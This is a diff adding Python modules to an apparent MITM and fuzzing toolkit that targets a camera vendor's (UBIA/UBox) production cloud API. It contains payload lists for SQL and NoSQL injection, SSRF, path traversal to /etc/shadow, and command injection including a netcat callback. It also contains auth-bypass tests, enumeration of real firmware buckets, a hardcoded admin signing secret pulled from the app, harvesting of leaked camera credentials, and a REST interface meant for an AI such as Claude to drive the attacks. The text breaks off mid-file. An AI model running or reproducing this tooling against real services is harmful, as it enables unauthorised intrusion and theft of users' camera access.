"notification/token", + # ── P2P / streaming ────────────────────────────── + "p2p/config", "p2p/server", "p2p/relay", "p2p/status", + "p2p/connect", "p2p/disconnect", "p2p/session", + "p2p/sessions", "p2p/token", "p2p/auth", + "stream/start", "stream/stop", "stream/status", + "stream/config", "stream/token", "stream/url", + "rtsp/config", "rtsp/url", "rtsp/token", + "live/start", "live/stop", "live/status", "live/url", + # ── AI / detection ─────────────────────────────── + "ai/config", "ai/status", "ai/detect", "ai/face", + "ai/person", "ai/motion", "ai/object", "ai/model", + "ai/train", "ai/results", "ai/history", + "detection/config", "detection/zones", "detection/sensitivity", + "detection/schedule", "detection/history", + # ── SIM / 4G ───────────────────────────────────── + "sim/info", "sim/status", "sim/activate", "sim/deactivate", + "sim/data", "sim/usage", "sim/plan", "sim/recharge", + "sim/config", "sim/apn", "sim/carrier", + "4g/info", "4g/status", "4g/signal", "4g/config", + "card4g-info", "user/card4g-info", + "v3/user/card4g-info", + # ── Payment / billing ──────────────────────────── + "pay/order", "pay/orders", "pay/create", "pay/callback", + "pay/verify", "pay/refund", "pay/status", + "pay/subscription", "pay/subscriptions", + "pay/products", "pay/plans", "pay/pricing", + "billing/info", "billing/history", "billing/invoice", + # ── Auth / OAuth ───────────────────────────────── + "auth/token", "auth/refresh", "auth/verify", "auth/revoke", + "auth/login", "auth/logout", "auth/register", + "auth/password", "auth/reset", "auth/code", + "oauth/authorize", "oauth/token", "oauth/callback", + "oauth/revoke", "oauth/userinfo", + "sso/login", "sso/callback", "sso/logout", + # ── Geographic / location ──────────────────────── + "pub/location/geocoding", "pub/location/search", + "pub/location/timezone", "pub/location/weather", + "location/config", "location/geo", "location/address", + "query-zid", "query_zid", "get_zone", + # ── Misc / discovery ───────────────────────────── + "ping", "health", "healthz", "ready", "readyz", + "version", "info", "about", "debug", "test", "echo", + "status", "config", "metrics", "prometheus", + "swagger", "swagger.json", "swagger.yaml", + "docs", "api-docs", "api-doc", "redoc", + "openapi", "openapi.json", "openapi.yaml", + ".env", "robots.txt", "sitemap.xml", "favicon.ico", + ".git/config", ".git/HEAD", "wp-login.php", + "graphql", "graphiql", "playground", + "websocket", "ws", "socket.io", + # ── UBIA-specific guesses ──────────────────────── + "pub/app/config", "pub/app/version", "pub/app/update", + "pub/device/config", "pub/device/version", + "pub/firmware/latest", "pub/firmware/list", + "pub/notice", "pub/announcement", "pub/banner", + "app/config", "app/version", "app/update", "app/feedback", + "mt-login", "mt-device", "mt-config", + "bind_wechat", "unbind_wechat", + "user/get_notification", "user/set_notification", + "user/get_push_token", "user/set_push_token", + "user/get_privacy", "user/set_privacy", + "user/get_cloud_config", "user/set_cloud_config", + "user/get_ai_config", "user/set_ai_config", + "user/get_detection_config", "user/set_detection_config", + "user/get_schedule", "user/set_schedule", + "user/get_timezone", "user/set_timezone", + "user/get_device_config", "user/set_device_config", + "user/get_stream_config", "user/set_stream_config", + "user/get_rtsp_url", "user/get_p2p_config", + "user/get_firmware_url", "user/get_ota_url", + "user/get_device_log", "user/get_crash_log", + "user/upload_log", "user/upload_crash", + "user/get_cloud_key", "user/get_cloud_secret", + "user/get_push_config", "user/set_push_config", + "user/reply_get_notification", + "user/device_share_list", "user/device_share_add", + "user/device_share_del", "user/device_share_accept", + "user/device_share_reject", + "user/family/add", "user/family/del", "user/family/update", + "user/family/list", "user/family/members", + "user/family/invite", "user/family/remove_member", +] + +# Parameter mutation payloads +PARAM_MUTATIONS = { + "auth_bypass": [ + {}, + {"admin": True}, + {"role": "admin"}, + {"is_admin": 1}, + {"debug": True}, + {"test": True}, + {"internal": True}, + {"bypass": True}, + {"token": "admin"}, + {"user_type": "admin"}, + {"privilege": 9999}, + {"level": 0}, + {"auth": "none"}, + {"skip_auth": True}, + ], + "sqli": [ + {"device_uid": "' OR '1'='1"}, + {"device_uid": "\" OR \"1\"=\"1"}, + {"device_uid": "'; DROP TABLE users; --"}, + {"account": "admin'--"}, + {"account": "' UNION SELECT * FROM users--"}, + {"device_uid": "1; WAITFOR DELAY '0:0:5'--"}, + {"device_uid": "1' AND SLEEP(5)--"}, + {"account": "admin' AND '1'='1"}, + {"password": "' OR '1'='1"}, + {"device_uid": "' UNION SELECT username,password FROM users--"}, + {"page": "1; DROP TABLE devices--"}, + {"device_uid": "1' ORDER BY 100--"}, + ], + "nosql": [ + {"device_uid": {"$gt": ""}}, + {"device_uid": {"$ne": ""}}, + {"device_uid": {"$regex": ".*"}}, + {"account": {"$gt": ""}}, + {"password": {"$ne": "invalid"}}, + {"$where": "1==1"}, + {"device_uid": {"$exists": True}}, + {"account": {"$in": ["admin", "root", "test"]}}, + ], + "idor": [ + {"device_uid": "AAAAAAAAAAAAAAAAAAAAAA"}, + {"device_uid": "../../../etc/passwd"}, + {"device_uid": "0"}, + {"device_uid": "-1"}, + {"device_uid": "1"}, + {"user_id": "1"}, + {"user_id": "0"}, + {"user_id": "-1"}, + {"kuid": "1"}, + {"kuid": "1000000000"}, + {"kuid": "1006072344"}, + {"uuid": "admin"}, + {"family": 1}, + {"family_id": "1"}, + {"id": 1}, + {"id": 0}, + {"device_uid": "AAAAAAAAAAAAAAAAAAAA"}, + {"device_uid": "J7HYJJFFFXRDKBYGPVR0"}, + {"device_uid": "J7HYJJFFFXRDKBYGPVR1"}, + ], + "overflow": [ + {"device_uid": "A" * 500}, + {"device_uid": "A" * 10000}, + {"device_uid": "A" * 100000}, + {"page": 999999}, + {"page": -1}, + {"page": 0}, + {"count": -1}, + {"count": 0}, + {"count": 999999}, + {"page_num": 2147483647}, + {"zone_id": 2147483647}, + {"zone_id": -2147483648}, + {"device_uid": "\x00" * 100}, + {"account": "A" * 10000}, + ], + "type_confusion": [ + {"device_uid": 12345}, + {"device_uid": True}, + {"device_uid": False}, + {"device_uid": None}, + {"device_uid": []}, + {"device_uid": [1, 2, 3]}, + {"device_uid": {"key": "value"}}, + {"device_uid": 0}, + {"device_uid": -1}, + {"device_uid": 1.5}, + {"page": "abc"}, + {"page": True}, + {"page": None}, + {"page": []}, + {"count": "all"}, + {"zone_id": "global"}, + ], + "path_traversal": [ + {"device_uid": "../../etc/passwd"}, + {"device_uid": "..\\..\\etc\\passwd"}, + {"device_uid": "%2e%2e%2f%2e%2e%2fetc%2fpasswd"}, + {"device_uid": "....//....//etc/passwd"}, + {"file": "/etc/passwd"}, + {"file": "/etc/shadow"}, + {"path": "/proc/self/environ"}, + {"url": "file:///etc/passwd"}, + {"filename": "../../../etc/passwd"}, + ], + "ssrf": [ + {"url": "http://127.0.0.1"}, + {"url": "http://localhost"}, + {"url": "http://169.254.169.254/latest/meta-data/"}, + {"url": "http://[::1]"}, + {"url": "http://0.0.0.0"}, + {"callback_url": "http://127.0.0.1:8080"}, + {"webhook": "http://localhost:9090"}, + {"firmware_url": "http://127.0.0.1/evil.bin"}, + ], + "xss_ssti": [ + {"device_uid": ""}, + {"name": ""}, + {"device_uid": "{{7*7}}"}, + {"device_uid": "${7*7}"}, + {"device_uid": "<%=7*7%>"}, + {"name": "{{config}}"}, + {"name": "${env}"}, + ], + "command_injection": [ + {"device_uid": "; id"}, + {"device_uid": "| id"}, + {"device_uid": "$(id)"}, + {"device_uid": "`id`"}, + {"device_uid": "; cat /etc/passwd"}, + {"device_uid": "| nc 192.168.1.172 4444"}, + {"name": "; whoami"}, + {"wifi_ssid": "test'; ping -c1 192.168.1.172; '"}, + {"firmware_url": "http://x/$(id)"}, + ], + "format_string": [ + {"device_uid": "%s%s%s%s%s"}, + {"device_uid": "%x%x%x%x"}, + {"device_uid": "%n%n%n%n"}, + {"device_uid": "%p%p%p%p"}, + {"name": "%s" * 50}, + ], + "null_byte": [ + {"device_uid": "valid\x00admin"}, + {"device_uid": "J7HYJJFFFXRDKBYGPVRA\x00.txt"}, + {"account": "admin\x00@evil.com"}, + {"file": "image.jpg\x00.php"}, + ], + "unicode": [ + {"device_uid": "\uff41\uff44\uff4d\uff49\uff4e"}, + {"account": "admin\u200b@test.com"}, + {"device_uid": "\u0000\u0001\u0002"}, + {"name": "\ud800"}, + ], + "large_json": [ + {"a": "b" * 100000}, + dict([(f"key_{i}", f"val_{i}") for i in range(1000)]), + {"nested": {"a": {"b": {"c": {"d": {"e": "deep"}}}}}}, + ], +} + + +class Fuzzer: + def __init__(self, cfg): + self.cfg = cfg + self.results = [] + self.running = False + self._lock = threading.Lock() + + def _post(self, endpoint, data, token=None, timeout=5): + url = f"{self.cfg['api_base']}/{endpoint}" + body = json.dumps(data).encode("utf-8") + req = urllib.request.Request(url, data=body, method="POST") + req.add_header("Content-Type", "application/json") + req.add_header("X-UbiaAPI-CallContext", "source=app&app=ubox&ver=1.1.360&osver=14") + if token: + req.add_header("X-Ubia-Auth-UserToken", token) + try: + with urllib.request.urlopen(req, timeout=timeout) as resp: + code = resp.getcode() + body = resp.read().decode("utf-8", errors="replace")[:500] + return code, body + except urllib.error.HTTPError as e: + body = e.read().decode("utf-8", errors="replace")[:500] + return e.code, body + except Exception as e: + return 0, str(e) + + def _add_result(self, endpoint, method, status, note, response=""): + with self._lock: + self.results.append({ + "endpoint": endpoint, + "method": method, + "status": status, + "note": note, + "response": response[:300], + }) + + def _parse_app_code(self, body): + """Extract the application-level code from JSON response body. + UBIA API always returns HTTP 200 — real status is in {"code": N}""" + try: + data = json.loads(body) + return data.get("code", -1), data + except: + return -1, {} + + def fuzz_endpoints(self): + """Discover hidden API endpoints""" + self.running = True + log("FUZZ: starting endpoint discovery...", C_INFO) + token = self.cfg["api_token"] + delay = self.cfg.get("fuzzer_delay", 0.2) + + all_endpoints = list(set(KNOWN_ENDPOINTS + ENDPOINT_WORDLIST)) + total = len(all_endpoints) + + for i, ep in enumerate(all_endpoints): + if not self.running: + break + + # Try with auth + code, body = self._post(ep, {}, token) + + if code == 0: + continue # connection error + elif code == 404: + continue # not found + elif code == 200: + app_code, parsed = self._parse_app_code(body) + if app_code == 0: + # Real success + log(f"FUZZ: [{code}] {ep} — FOUND (app_code=0)", C_IMPORTANT) + self._add_result(ep, "POST", code, "accessible", body) + + # Now test without auth + code2, body2 = self._post(ep, {}, None) + app_code2, _ = self._parse_app_code(body2) + if app_code2 == 0: + log(f"FUZZ: [{code2}] {ep} — REAL NO AUTH BYPASS!", C_IMPORTANT) + self._add_result(ep, "POST_NOAUTH", code2, "NO_AUTH_CONFIRMED", body2) + elif app_code2 != 10004: + log(f"FUZZ: [{code2}] {ep} — unusual no-auth response: code={app_code2}", C_TRAFFIC) + self._add_result(ep, "POST_NOAUTH", code2, f"noauth_code_{app_code2}", body2) + elif app_code == 10004: + # Token rejected even with our valid token — interesting + log(f"FUZZ: [{code}] {ep} — exists but token rejected", C_TRAFFIC) + self._add_result(ep, "POST", code, "token_rejected", body) + elif app_code == 10001: + # Invalid params — endpoint exists + log(f"FUZZ: [{code}] {ep} — FOUND (needs params)", C_TRAFFIC) + self._add_result(ep, "POST", code, "needs_params", body) + else: + log(f"FUZZ: [{code}] {ep} — app_code={app_code}", C_TRAFFIC) + self._add_result(ep, "POST", code, f"app_code_{app_code}", body) + elif code == 405: + log(f"FUZZ: [{code}] {ep} — wrong method", C_TRAFFIC) + self._add_result(ep, "POST", code, "method_not_allowed", body) + else: + log(f"FUZZ: [{code}] {ep}", 0) + self._add_result(ep, "POST", code, f"http_{code}", body) + + if (i + 1) % 50 == 0: + log(f"FUZZ: progress {i+1}/{total}", C_INFO) + + time.sleep(delay) + + log(f"FUZZ: endpoint scan done — {len(self.results)} results", C_SUCCESS) + self.running = False + + def fuzz_params(self, endpoint): + """Test parameter mutations on a specific endpoint""" + self.running = True + log(f"FUZZ: parameter fuzzing on {endpoint}...", C_INFO) + token = self.cfg["api_token"] + delay = self.cfg.get("fuzzer_delay", 0.1) + + for category, payloads in PARAM_MUTATIONS.items(): + if not self.running: + break + log(f"FUZZ: testing {category}...", C_INFO) + for payload in payloads: + if not self.running: + break + code, body = self._post(endpoint, payload, token) + note = f"{category}: {json.dumps(payload)[:80]}" + if code == 200: + log(f"FUZZ: [{code}] {note} — ACCEPTED", C_IMPORTANT) + elif code == 500: + log(f"FUZZ: [{code}] {note} — SERVER ERROR!", C_IMPORTANT) + else: + log(f"FUZZ: [{code}] {note}", C_TRAFFIC) + self._add_result(endpoint, category, code, note, body) + time.sleep(delay) + + log(f"FUZZ: param fuzzing done", C_SUCCESS) + self.running = False + + def fuzz_auth(self): + """Test authentication bypass techniques""" + self.running = True + log("FUZZ: testing auth bypass...", C_INFO) + delay = self.cfg.get("fuzzer_delay", 0.2) + test_endpoints = ["user/device_list", "v2/user/device_list", "user/families"] + + tests = [ + ("no_token", None), + ("empty_token", ""), + ("invalid_token", "invalidtoken123"), + ("expired_format", "xxxx1234567890abcdef"), + ("sql_token", "' OR '1'='1"), + ("null_byte", "valid\x00admin"), + ("long_token", "A" * 1000), + ] + + for ep in test_endpoints: + if not self.running: + break + for test_name, token_val in tests: + if not self.running: + break + code, body = self._post(ep, {}, token_val) + app_code, _ = self._parse_app_code(body) + if code == 200 and app_code == 0: + log(f"FUZZ: AUTH BYPASS! [{code}] {ep} with {test_name} (app_code=0!)", C_IMPORTANT) + elif code == 200 and app_code != 10004: + log(f"FUZZ: [{code}] {ep} {test_name} app_code={app_code}", C_TRAFFIC) + else: + log(f"FUZZ: [{code}] {ep} {test_name} — rejected", 0) + self._add_result(ep, f"auth_{test_name}", code, f"{test_name}_appcode_{app_code}", body) + time.sleep(delay) + + log("FUZZ: auth bypass testing done", C_SUCCESS) + self.running = False + + def stop(self): + self.running = False + + def save_results(self, path=None): + path = path or f"{self.cfg['log_dir']}/fuzz_results_{int(time.time())}.json" + with open(path, "w") as f: + json.dump(self.results, f, indent=2) + log(f"FUZZ: results saved to {path}", C_SUCCESS) + return path diff --git a/api/ota_bucket_probe.py b/api/ota_bucket_probe.py new file mode 100644 index 0000000..2ad6ad9 --- /dev/null +++ b/api/ota_bucket_probe.py @@ -0,0 +1,154 @@ +""" +OTA bucket enumerator. + +The UBIA OTA buckets are Tencent COS: + ubiaota-us-1312441409.cos.na-siliconvalley.myqcloud.com + ubiaota-cn-1312441409.cos.ap-guangzhou.myqcloud.com + +Anonymous LIST is denied, but individual objects can be public-read (we +confirmed this with the dev_add_doc/1159_video/* demo video). This module +guesses common firmware paths and reports any that return non-403/404. +""" + +import json +import os +import urllib.request +import urllib.error +from datetime import datetime + +from utils.log import log, C_INFO, C_SUCCESS, C_ERROR, C_IMPORTANT, C_TRAFFIC + +BUCKETS = [ + "http://ubiaota-us-1312441409.cos.na-siliconvalley.myqcloud.com", + "http://ubiaota-cn-1312441409.cos.ap-guangzhou.myqcloud.com", +] + +# Path templates — {pid} = product id (1619 for our camera), +# {model} = model number (2604), {ver} = a version string +PATH_TEMPLATES = [ + "/dev_add_doc/{pid}/firmware.bin", + "/dev_add_doc/{pid}/host.bin", + "/dev_add_doc/{pid}/wifi.bin", + "/dev_add_doc/{pid}/{model}.bin", + "/dev_add_doc/{pid}/{ver}.bin", + "/dev_add_doc/{pid}/{ver}/host.bin", + "/dev_add_doc/{pid}/{ver}/firmware.bin", + "/dev_add_doc/{pid}/{model}.{ver}.bin", + "/dev_add_doc/{pid}_video/", + "/firmware/{pid}/host.bin", + "/firmware/{pid}/{ver}.bin", + "/firmware/{model}/{ver}.bin", + "/ota/{pid}/host.bin", + "/ota/{pid}/{ver}.bin", + "/ota/{model}/{ver}.bin", + "/ota/{model}.{ver}.bin", + "/{pid}/firmware.bin", + "/{pid}/host.bin", + "/{pid}/{ver}.bin", + "/{model}/{ver}.bin", + "/host/{model}/{ver}.bin", + "/wifi/{model}/{ver}.bin", + "/upgrade/{pid}/{ver}.bin", + "/upgrade/{model}/{ver}.bin", + "/dev_fw/{pid}/{ver}.bin", + "/dev_fw/{model}/{ver}.bin", + "/{model}.{ver}.bin", + "/{ver}.bin", +] + +# Versions to try — descending from current downward +VERSIONS_TO_TRY = [ + "2604.1.2.69", + "2604.1.2.68", + "2604.1.2.0", + "2604.0.29.8", + "2604.0.29.7", + "2604.0.29.0", + "2604.0.0.0", + "2604", +] + +PRODUCT_IDS = ["1619"] +MODELS = ["2604"] + + +def _head(url, timeout=8): + req = urllib.request.Request(url, method="HEAD", headers={ + "User-Agent": "okhttp/4.9.1", + }) + try: + with urllib.request.urlopen(req, timeout=timeout) as r: + return r.status, dict(r.headers), None + except urllib.error.HTTPError as e: + return e.code, dict(e.headers) if e.headers else {}, None + except urllib.error.URLError as e: + return None, {}, str(e.reason) + except Exception as e: + return None, {}, str(e) + + +def _build_paths(): + paths = set() + for pid in PRODUCT_IDS: + for model in MODELS: + for ver in VERSIONS_TO_TRY: + for tmpl in PATH_TEMPLATES: + paths.add(tmpl.format(pid=pid, model=model, ver=ver)) + return sorted(paths) + + +def probe(cfg=None): + """ + Try every path×bucket combo. Report any HEAD that returns 200 or + that has Content-Length > 0. Also report 403 (auth required — + means the object exists), separately from 404. + + Returns: + { + "ok": bool, + "found": [{"url","status","size","content_type"}], + "exists_403": [...], + "tried": int, + } + """ + paths = _build_paths() + log(f"OTA-PROBE: trying {len(paths)} paths × {len(BUCKETS)} buckets = " + f"{len(paths) * len(BUCKETS)} requests…", C_INFO) + + found = [] + exists_403 = [] + tried = 0 + for bucket in BUCKETS: + for p in paths: + url = bucket + p + tried += 1 + status, headers, err = _head(url) + if err: + continue + ct = headers.get("Content-Type", "?") + cl = headers.get("Content-Length", "0") + try: + cl_i = int(cl) + except (TypeError, ValueError): + cl_i = 0 + if status == 200: + log(f" ✓ HIT 200 {url} size={cl_i} ct={ct}", C_IMPORTANT) + found.append({"url": url, "status": 200, + "size": cl_i, "content_type": ct}) + elif status == 403: + # Tencent COS returns 403 for "exists but no access" AND for + # "doesn't exist" — but the response body differs. We log + # them anyway since some might be real. + exists_403.append({"url": url, "status": 403, "ct": ct}) + elif status and status not in (404,): + log(f" ? {status} {url}", C_TRAFFIC) + + log(f"OTA-PROBE: done. {len(found)} hits, {len(exists_403)} 403s, " + f"{tried - len(found) - len(exists_403)} misses", C_SUCCESS) + + return { + "ok": bool(found), + "found": found, + "exists_403_count": len(exists_403), + "tried": tried, + } diff --git a/api/server.py b/api/server.py new file mode 100644 index 0000000..1765bc1 --- /dev/null +++ b/api/server.py @@ -0,0 +1,147 @@ +"""REST API server — allows external tools (like Claude) to control the MITM tool""" + +import json +import threading +from http.server import HTTPServer, BaseHTTPRequestHandler +from utils.log import log, log_lines, C_SUCCESS, C_ERROR, C_INFO + + +class MITMApiHandler(BaseHTTPRequestHandler): + controller = None # Set by start_server + + def log_message(self, format, *args): + pass # Suppress default HTTP logging + + def _send_json(self, data, code=200): + body = json.dumps(data).encode("utf-8") + self.send_response(code) + self.send_header("Content-Type", "application/json") + self.send_header("Content-Length", len(body)) + self.end_headers() + self.wfile.write(body) + + def _read_body(self): + cl = int(self.headers.get("Content-Length", 0)) + if cl > 0: + return json.loads(self.rfile.read(cl).decode("utf-8")) + return {} + + def do_GET(self): + path = self.path.rstrip("/") + + if path == "/status": + self._send_json({ + "services_running": self.controller.services_running, + "flags": dict(self.controller.flags), + "config": self.controller.cfg.safe_dict(), + }) + + elif path == "/logs": + count = 100 + if "?" in self.path: + for param in self.path.split("?")[1].split("&"): + if param.startswith("count="): + count = int(param.split("=")[1]) + with log_lines._mutex if hasattr(log_lines, '_mutex') else threading.Lock(): + lines = [(l, c) for l, c in list(log_lines)[-count:]] + self._send_json({"logs": [l for l, _ in lines]}) + + elif path == "/devices": + self._send_json({"devices": self.controller.get_devices()}) + + elif path == "/config": + self._send_json(self.controller.cfg.safe_dict()) + + elif path == "/fuzz/results": + if self.controller.fuzzer: + self._send_json({"results": self.controller.fuzzer.results}) + else: + self._send_json({"results": []}) + + else: + self._send_json({"error": "not found", "endpoints": [ + "GET /status", "GET /logs?count=N", "GET /devices", + "GET /config", "GET /fuzz/results", + "POST /start", "POST /stop", "POST /config", + "POST /command", "POST /api", "POST /fuzz/endpoints", + "POST /fuzz/params", "POST /fuzz/auth", "POST /fuzz/stop", + "POST /inject", + ]}, 404) + + def do_POST(self): + path = self.path.rstrip("/") + body = self._read_body() + + if path == "/start": + threading.Thread(target=self.controller.start_services, daemon=True).start() + self._send_json({"status": "starting"}) + + elif path == "/stop": + threading.Thread(target=self.controller.stop_services, daemon=True).start() + self._send_json({"status": "stopping"}) + + elif path == "/config": + for k, v in body.items(): + if k in self.controller.cfg.keys(): + self.controller.cfg[k] = v + self.controller.cfg.save() + self._send_json({"status": "updated", "config": self.controller.cfg.safe_dict()}) + + elif path == "/command": + cmd = body.get("cmd", "") + if cmd: + self.controller.process_command(cmd) + self._send_json({"status": "executed", "cmd": cmd}) + else: + self._send_json({"error": "provide 'cmd' field"}, 400) + + elif path == "/api": + endpoint = body.get("endpoint", "") + data = body.get("data", {}) + if endpoint: + from api import ubox_client + result = ubox_client.api_post( + self.controller.cfg["api_base"], endpoint, + data, self.controller.cfg["api_token"]) + self._send_json({"result": result}) + else: + self._send_json({"error": "provide 'endpoint' field"}, 400) + + elif path == "/fuzz/endpoints": + threading.Thread(target=self.controller.run_fuzz_endpoints, daemon=True).start() + self._send_json({"status": "started"}) + + elif path == "/fuzz/params": + endpoint = body.get("endpoint", "user/device_list") + threading.Thread(target=self.controller.run_fuzz_params, + args=(endpoint,), daemon=True).start() + self._send_json({"status": "started", "endpoint": endpoint}) + + elif path == "/fuzz/auth": + threading.Thread(target=self.controller.run_fuzz_auth, daemon=True).start() + self._send_json({"status": "started"}) + + elif path == "/fuzz/stop": + if self.controller.fuzzer: + self.controller.fuzzer.stop() + self._send_json({"status": "stopped"}) + + elif path == "/inject": + result = self.controller.inject_packet(body) + self._send_json(result) + + else: + self._send_json({"error": "not found"}, 404) + + +def start_server(controller, port=9090): + MITMApiHandler.controller = controller + server = HTTPServer(("0.0.0.0", port), MITMApiHandler) + server.timeout = 1 + log(f"REST API: listening on :{port}", C_SUCCESS) + + while controller.running: + server.handle_request() + + server.server_close() + log("REST API: stopped", C_INFO) diff --git a/api/ubox_client.py b/api/ubox_client.py new file mode 100644 index 0000000..8d3fa06 --- /dev/null +++ b/api/ubox_client.py @@ -0,0 +1,257 @@ +"""UBox cloud API client — authenticate, list devices, check firmware, etc.""" + +import hashlib +import hmac +import base64 +import json +import time +import urllib.request +import urllib.error +from utils.log import log, C_SUCCESS, C_ERROR, C_INFO, C_TRAFFIC, C_IMPORTANT + + +# ─── OAM (operator/admin) endpoint signing ─────────────────────── +# Hardcoded secret extracted from com/http/OamHttpClient.java:28 +OAM_BASE_URLS = [ + "https://oam.ubianet.com/api", + "https://dev.ubianet.com/oam/api", +] +OAM_APPID = "30001" +OAM_CLIENT_ID = "" # empty in app code; may need to be set per-deployment +OAM_SECRET = "2894df25f8f740dff5266bc155c662ca" + + +def oam_sign(body_str, ts_ms, appid=OAM_APPID, client_id=OAM_CLIENT_ID, + secret=OAM_SECRET): + """ + Reproduce com.http.Encryption.Hmac: + sig_str = ":::" + hmac = HmacSHA1(sig_str.utf8, secret.bytes) + result = hex(hmac) + """ + sig_str = f"{ts_ms}:{appid}:{client_id}:{body_str}" + h = hmac.new(secret.encode("utf-8"), sig_str.encode("utf-8"), hashlib.sha1) + return h.hexdigest() + + +def oam_post(endpoint, data, base_url=None): + """ + POST to an OAM endpoint with the OAM-SIGN header set. + Tries each known OAM base URL if the first fails. + """ + body = json.dumps(data).encode("utf-8") + body_str = body.decode("utf-8") + ts_ms = str(int(time.time() * 1000)) + sign = oam_sign(body_str, ts_ms) + + headers = { + "Content-Type": "application/json", + "OAM-SIGN": sign, + "OAM-APPID": OAM_APPID, + "CLIENT-ID": OAM_CLIENT_ID, + "timestamp": ts_ms, + "X-UbiaAPI-CallContext": "source=app&app=ubox&ver=1.1.360&osver=14", + } + + bases = [base_url] if base_url else OAM_BASE_URLS + last_err = None + for b in bases: + url = f"{b}/{endpoint}" + log(f"OAM: POST {url}", C_INFO) + log(f" sign-str = {ts_ms}:{OAM_APPID}::{body_str[:80]}", C_INFO) + log(f" OAM-SIGN = {sign}", C_INFO) + req = urllib.request.Request(url, data=body, method="POST", headers=headers) + try: + with urllib.request.urlopen(req, timeout=15) as resp: + payload = json.loads(resp.read().decode("utf-8")) + log(f"OAM: {json.dumps(payload, indent=2)[:400]}", C_TRAFFIC) + return payload + except urllib.error.HTTPError as e: + body_text = e.read().decode("utf-8", errors="replace")[:400] + log(f"OAM: HTTP {e.code} from {b}: {body_text}", C_ERROR) + last_err = {"error": e.code, "body": body_text, "base": b} + except Exception as e: + log(f"OAM: error from {b}: {e}", C_ERROR) + last_err = {"error": str(e), "base": b} + return last_err or {"error": "all OAM bases failed"} + + +def oam_fuzz(endpoints): + """ + Hit a list of candidate OAM endpoints with empty bodies and report + which ones return non-404 responses (i.e. exist). + """ + results = {"hits": [], "404s": 0, "errors": 0, "tried": 0} + for ep in endpoints: + results["tried"] += 1 + r = oam_post(ep, {}) + if isinstance(r, dict): + err = r.get("error") + if err == 404: + results["404s"] += 1 + elif err is not None: + results["errors"] += 1 + results["hits"].append({"endpoint": ep, "error": err, + "body": r.get("body", "")[:200]}) + else: + # Real JSON came back (msg=success or msg=fail with code) + results["hits"].append({"endpoint": ep, + "code": r.get("code"), + "msg": r.get("msg"), + "data": r.get("data")}) + log(f"OAM-FUZZ: ✓ {ep} -> code={r.get('code')} msg={r.get('msg')}", + C_IMPORTANT) + log(f"OAM-FUZZ done: {len(results['hits'])} hits / {results['tried']} tried " + f"({results['404s']} 404s, {results['errors']} errors)", C_SUCCESS) + return results + + +# Candidate OAM endpoints — confirmed in source + admin guesses +OAM_ENDPOINT_GUESSES = [ + # Confirmed in OamHttpClient.java + "lgc/bind_err", + "app/push_channel_reg", + # Common admin patterns to probe + "oam/users", "oam/user/list", "oam/user/info", + "oam/devices", "oam/device/list", "oam/device/info", + "oam/firmware", "oam/firmware/list", "oam/firmware/upload", + "oam/ota", "oam/ota/list", "oam/ota/deploy", "oam/ota/push", + "oam/config", "oam/cloud/config", "oam/cloud/keys", + "oam/stats", "oam/dashboard", "oam/system", + "oam/logs", "oam/audit", "oam/security", + "user/list", "user/info", "user/all", + "device/list", "device/info", "device/all", + "firmware/list", "firmware/all", "firmware/latest", + "ota/list", "ota/all", "ota/deploy", + "admin/users", "admin/devices", "admin/firmware", + "admin/config", "admin/system", "admin/stats", + "stats", "dashboard", "system/info", "system/version", + "lgc/bind_ok", "lgc/list", "lgc/info", + "app/version", "app/config", + "push/list", "push/send", "push/all", +] + + + +def hash_password(password): + h = hmac.new(b"", password.encode("utf-8"), hashlib.sha1).digest() + b64 = base64.b64encode(h).decode("utf-8") + return b64.replace("+", "-").replace("/", "_").replace("=", ",") + + +def api_post(base_url, endpoint, data, token=None): + url = f"{base_url}/{endpoint}" + body = json.dumps(data).encode("utf-8") + req = urllib.request.Request(url, data=body, method="POST") + req.add_header("Content-Type", "application/json") + req.add_header("X-UbiaAPI-CallContext", "source=app&app=ubox&ver=1.1.360&osver=14") + if token: + req.add_header("X-Ubia-Auth-UserToken", token) + try: + with urllib.request.urlopen(req, timeout=15) as resp: + return json.loads(resp.read().decode("utf-8")) + except urllib.error.HTTPError as e: + return {"error": e.code, "body": e.read().decode("utf-8", errors="replace")[:500]} + except Exception as e: + return {"error": str(e)} + + +def login(cfg): + if not cfg["api_email"] or not cfg["api_password"]: + log("API: set api_email and api_password first", C_ERROR) + return False + hashed = hash_password(cfg["api_password"]) + data = { + "account": cfg["api_email"], "password": hashed, + "app": "ubox", "app_version": "1.1.360", + "device_type": 1, "lang": "en", "brand": "Python", + "device_token": "none", "regid_jg": "fail", + "regid_xm": "fail", "regid_vivo": "fail", + } + log(f"API: logging in as {cfg['api_email']}...", C_INFO) + result = api_post(cfg["api_base"], "v3/login", data) + if result and result.get("msg") == "success": + cfg["api_token"] = result["data"]["Token"] + log(f"API: login OK — token={cfg['api_token'][:20]}...", C_SUCCESS) + + # Extract app_config keys + app_cfg = result["data"].get("app_config", {}) + if app_cfg: + log(f"API: leaked app_config keys extracted", C_IMPORTANT) + + cfg.save() + return True + else: + log(f"API: login failed: {json.dumps(result)[:200]}", C_ERROR) + return False + + +def devices(cfg): + if not cfg["api_token"]: + log("API: login first", C_ERROR) + return [] + result = api_post(cfg["api_base"], "user/device_list", {}, cfg["api_token"]) + if result and result.get("msg") == "success": + devs = result["data"].get("list", []) + fw = result["data"].get("firmware_ver", []) + log(f"API: {len(devs)} device(s), firmware: {fw}", C_SUCCESS) + for d in devs: + uid = d.get("device_uid", "?") + name = d.get("name", "?") + cu = d.get("cam_user", "") + cp = d.get("cam_pwd", "") + model = d.get("model_num", "?") + bat = d.get("battery", "?") + log(f" [{uid}] {name} model={model} bat={bat}%", C_TRAFFIC) + if cu and cp: + log(f" LEAKED CREDS: {cu} / {cp}", C_IMPORTANT) + cfg["device_uid"] = uid + cfg["device_cam_user"] = cu + cfg["device_cam_pwd"] = cp + cfg.save() + return devs + else: + log(f"API: {json.dumps(result)[:300]}", C_ERROR) + return [] + + +def check_firmware(cfg): + if not cfg["api_token"] or not cfg["device_uid"]: + log("API: login and get devices first", C_ERROR) + return None + result = api_post(cfg["api_base"], "user/qry/device/check_version/v3", { + "device_uid": cfg["device_uid"], + "host_version": "0.0.0.1", + "wifi_version": "0.0.0.1", + "is_lite": False, "zone_id": 2, + }, cfg["api_token"]) + log(f"API firmware: {json.dumps(result, indent=2)}", C_TRAFFIC) + return result + + +def device_services(cfg): + if not cfg["api_token"] or not cfg["device_uid"]: + log("API: login and get devices first", C_ERROR) + return None + result = api_post(cfg["api_base"], "user/qry/device/device_services", + {"device_uid": cfg["device_uid"]}, cfg["api_token"]) + log(f"API services: {json.dumps(result, indent=2)[:600]}", C_TRAFFIC) + return result + + +def 